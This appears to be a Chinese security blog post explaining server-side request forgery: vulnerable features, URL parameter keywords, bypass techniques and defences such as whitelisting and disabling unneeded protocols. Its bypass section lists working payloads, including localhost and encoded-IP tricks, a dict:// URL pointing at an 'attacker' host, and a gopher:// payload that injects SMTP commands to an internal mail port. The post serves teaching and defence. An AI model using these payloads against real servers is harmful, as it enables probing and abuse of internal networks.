Web安全-SSRF

0x01 简介

SSRF(Server-Side Request Forgery),服务端请求伪造。

攻击利用了可访问Web服务器(A)的特定功能构造恶意payload;攻击者在访问A时,利用A的特定功能构造特殊payload,由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息。此时A被作为中间人(跳板)进行利用。

SSRF漏洞原因,主要是由于服务端提供了从其他服务器获取数据的功能,但未对目标地址进行过滤和校验。

常见业务场景(功能点):

  • 分享,通过URL地址分享网页内容,通过URL获取目标页标签等内容
  • 转码服务,适配手机屏幕大小,通过URL地址进行图片转码
  • 图片加载与下载,通过URL加载网络图片(头像上传、等)
  • 图片、文章收藏,通过URL获取目标的title等信息
  • 其他加载URL的功能
  • XXE漏洞点

具体示例,可参考bwapp、乌云各种SSRF漏洞。

 

0x02 漏洞利用

  • 内网探测(端口、服务、指纹信息)
  • 文件读取(敏感信息)
  • 内网应用攻击、反弹Shell(特定环境)

0x03 漏洞检测

前文提到的特定的功能点:

  • 分享,通过URL地址分享网页内容,通过URL获取目标页标签等内容
  • 转码服务,适配手机屏幕大小,通过URL地址进行图片转码
  • 图片加载与下载,通过URL加载网络图片(头像上传、等)
  • 图片、文章收藏,通过URL获取目标的title等信息
  • 其他加载URL的功能
  • XXE漏洞点

URL关键字:

share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain

自动化检测工具,AcuMonitor

通常的Web扫描器原理都比较简单(如下图),扫描器发送payload到目标主机,分析返回的response后根据特定规则进行告警。对于SSFR、XXE等漏洞不适用,无法定义统一的验证规则,何况有些情况是无回显的。

 

这个工具也是利用XXE中OOB以及基于时间延时的攻击向量进行漏洞验证,下图已经比较清楚了。如需详细了解,参考上文链接。

 

由于工作行业,个人实际工作中几乎没遇到过SSRF问题。所以这里绕过技巧,主要也是网上的一些分享,有些不是非常清楚,先做个记录,后续补充。具体可以阅读参考内容。

  • 添加端口号绕过(域名过滤的情况)
  • 攻击本地
http://localhost
http://127.0.0.1:80
http://[::]:80
  • 利用@,待补充

 

http://example.com@127.0.0.1 
 
  • 短地址绕过
  • 特殊域名,xip.io为执行任意IP的域名
http://127.0.0.1.xip.io/
  • 进制转换,16进制、八进制等。待验证
115.239.210.26  >>>  16373751032
//首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
//然后把 73efd21a 这十六进制一起转换成8进制
//记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
 
  • 利用协议
//当url协议限定只为http(s)时,可以利用follow redirect 特性
//构造302跳转服务,

Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://ssrf.php?
url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a

0x04 防御

  • 白名单过滤及DNS解析

优先考虑白名单方式验证,过滤应用需要的域名及IP。

白名单不能满足需求时考虑黑名单方式,例如禁止请求私有IP地址。黑名单容易存在过滤不全的问题。

  • 响应处理

对服务器响应内容进行处理(验证是否为预期响应内容),任何情况下都不建议直接返回服务器响应内容给客户端。

  • 禁用不必要的URL协议

这个不用多说,主要就是通过file、http等协议进行利用,如果不是必要的建议直接禁用。

  • 内部服务认证

基于不可信原则,内网服务需进行认证鉴权。

 

 

参考:

https://www.secpulse.com/archives/65832.html

https://www.freebuf.com/column/157466.html

https://www.t00ls.net/articles-41070.html

https://blog.csdn.net/u010726042/article/details/77806775

https://www.jianshu.com/p/d1d1c40f6d4c

https://www.cnblogs.com/s0ky1xd/p/5859049.html

https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/

SSRF --RCE

https://generaleg0x01.com/2019/03/10/escalating-ssrf-to-rce/

 

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值